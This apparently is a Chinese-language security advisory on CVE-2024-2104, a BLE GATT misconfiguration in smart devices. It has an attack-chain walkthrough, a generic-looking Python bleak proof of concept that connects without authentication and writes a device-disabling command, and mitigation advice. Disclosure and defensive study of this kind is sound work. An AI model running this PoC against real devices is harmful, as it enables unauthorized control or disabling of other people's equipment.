IPBUF安全漏洞报告
English
CVE-2024-2104 CVSS 8.8 高危

CVE-2024-2104 - BLE GATT服务器安全配置不当导致设备控制权被劫持

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2024-2104
漏洞类型
访问控制错误/配置不当
CVSS评分
8.8 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
启用BLE GATT服务的智能设备(具体产品型号需参考官方公告)

相关标签

CVE-2024-2104蓝牙低功耗BLEGATT访问控制配置不当设备控制物联网安全未授权访问高危漏洞

漏洞概述

CVE-2024-2104是一个高危蓝牙低功耗(BLE)安全漏洞,CVSS评分8.8。该漏洞源于设备GATT服务器上的BLE安全配置不当,允许相邻位置且未经过身份验证的攻击者通过移动应用程序服务读取和写入设备控制命令。攻击者利用此漏洞可以完全控制目标设备,甚至使设备无法正常使用。由于BLE通信的短距离特性,攻击者需要在设备附近范围内实施攻击,但无需任何用户交互或认证凭证即可成功利用此漏洞。该漏洞影响了使用BLE GATT协议进行通信的各种智能设备,包括但不限于物联网设备、智能家居产品、工业控制系统组件等。攻击者利用BLE协议的无线特性,可以被动监听或主动发起连接请求,在不触发任何安全警报的情况下获取设备控制权限。

技术细节

该漏洞的根本原因在于设备GATT服务器的BLE安全配置存在缺陷。GATT(通用属性配置文件)定义了BLE设备之间数据交换的方式,包括服务(Service)、特征(Characteristic)和描述符(Descriptor)。正常情况下,GATT服务器应实施适当的身份验证(如MITM保护)、授权机制和加密通信。然而,受影响设备的安全配置不当,允许以下攻击场景:1)未授权连接:攻击者可以在无任何凭证的情况下与GATT服务器建立BLE连接;2)特征值读写:攻击者可以直接读取敏感特征值或写入恶意控制命令;3)服务滥用:通过模拟移动应用程序的行为,攻击者可以调用设备控制接口;4)拒绝服务:写入异常参数或禁用命令可能导致设备功能失效。攻击者可以利用开源的BLE工具(如gatttool、Bleah、Bettercap)或自定义脚本执行这些操作,无需专业的安全知识即可实施攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者使用BLE扫描工具(如hcitool、BleScanner)发现附近启用BLE的设备,记录目标设备的MAC地址和广播信息
STEP 2
步骤2:连接建立
攻击者利用BLE安全配置缺陷,无需任何认证凭证即可与目标设备的GATT服务器建立连接
STEP 3
步骤3:服务枚举
通过GATT协议枚举设备的服务和特征值,识别可读写的控制特征(UUID),通常为设备特定的服务如0000fff0-xxxx
STEP 4
步骤4:数据读取
攻击者直接读取敏感特征值,获取设备配置、状态信息或认证密钥等敏感数据
STEP 5
步骤5:命令注入
攻击者向可写特征发送恶意控制命令,模拟移动应用程序的行为来操控设备功能
STEP 6
步骤6:持久化控制或拒绝服务
根据攻击目标,攻击者可以发送持续的控制命令维持对设备的控制,或发送异常命令导致设备功能失效

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-2104 PoC - BLE GATT Security Misconfiguration # Author: Security Researcher # Description: Exploit for improper BLE GATT security configuration import asyncio from bleak import BleakClient from bleak.exc import BleakError TARGET_DEVICE = "XX:XX:XX:XX:XX:XX" # Target BLE device MAC address GATT_SERVICE_UUID = "0000fff0-0000-1000-8000-00805f9b34fb" GATT_CHAR_WRITE_UUID = "0000fff1-0000-1000-8000-00805f9b34fb" GATT_CHAR_READ_UUID = "0000fff2-0000-1000-8000-00805f9b34fb" async def exploit_ble_gatt(): """ Exploit improper BLE GATT security configuration This PoC demonstrates unauthorized read/write access to device controls """ try: print(f"[*] Connecting to target device: {TARGET_DEVICE}") # Connect without authentication (exploiting misconfiguration) client = BleakClient(TARGET_DEVICE, timeout=10.0) await client.connect() if not client.is_connected: print("[-] Failed to connect to device") return print("[+] Successfully connected without authentication!") print("[*] Exploiting improper BLE security configuration...") # Step 1: Enumerate services and characteristics print("\n[*] Enumerating GATT services...") for service in client.services: print(f" Service: {service.uuid} - {service.description}") for char in service.characteristics: print(f" Characteristic: {char.uuid} - {char.properties}") # Step 2: Read sensitive data from GATT characteristics print("\n[*] Reading device information...") try: data = await client.read_gatt_char(GATT_CHAR_READ_UUID) print(f"[+] Read data: {data.hex()}") except BleakError as e: print(f"[-] Read failed: {e}") # Step 3: Write control commands to device print("\n[*] Sending control commands...") # Example malicious command to disable device functionality malicious_command = bytes([0x01, 0x00, 0xFF, 0xFF, 0x00]) try: await client.write_gatt_char(GATT_CHAR_WRITE_UUID, malicious_command) print("[+] Malicious command sent successfully!") print("[*] Device may now be disabled or under attacker control") except BleakError as e: print(f"[-] Write failed: {e}") # Cleanup await client.disconnect() print("\n[*] Exploitation complete") except BleakError as e: print(f"[-] BLE Error: {e}") except Exception as e: print(f"[-] Unexpected error: {e}") if __name__ == "__main__": print("="*60) print("CVE-2024-2104 BLE GATT Security Misconfiguration PoC") print("="*60) asyncio.run(exploit_ble_gatt())

影响范围

使用BLE GATT服务且安全配置不当的设备固件(具体版本需参考VDE-CERT官方公告)

防御指南

临时缓解措施
由于该漏洞利用了BLE GATT服务器的底层安全配置缺陷,临时缓解措施较为有限。建议采取以下措施:1)物理安全防护,将设备部署在受控环境内,减少攻击者物理接近的机会;2)监控BLE连接日志,检测异常的未授权连接尝试;3)如果设备支持,临时禁用不必要的BLE服务;4)联系设备厂商获取安全更新或补丁;5)实施网络隔离措施,防止攻击成功后对其他系统的横向移动。最终修复需要厂商更新固件以正确配置BLE安全参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表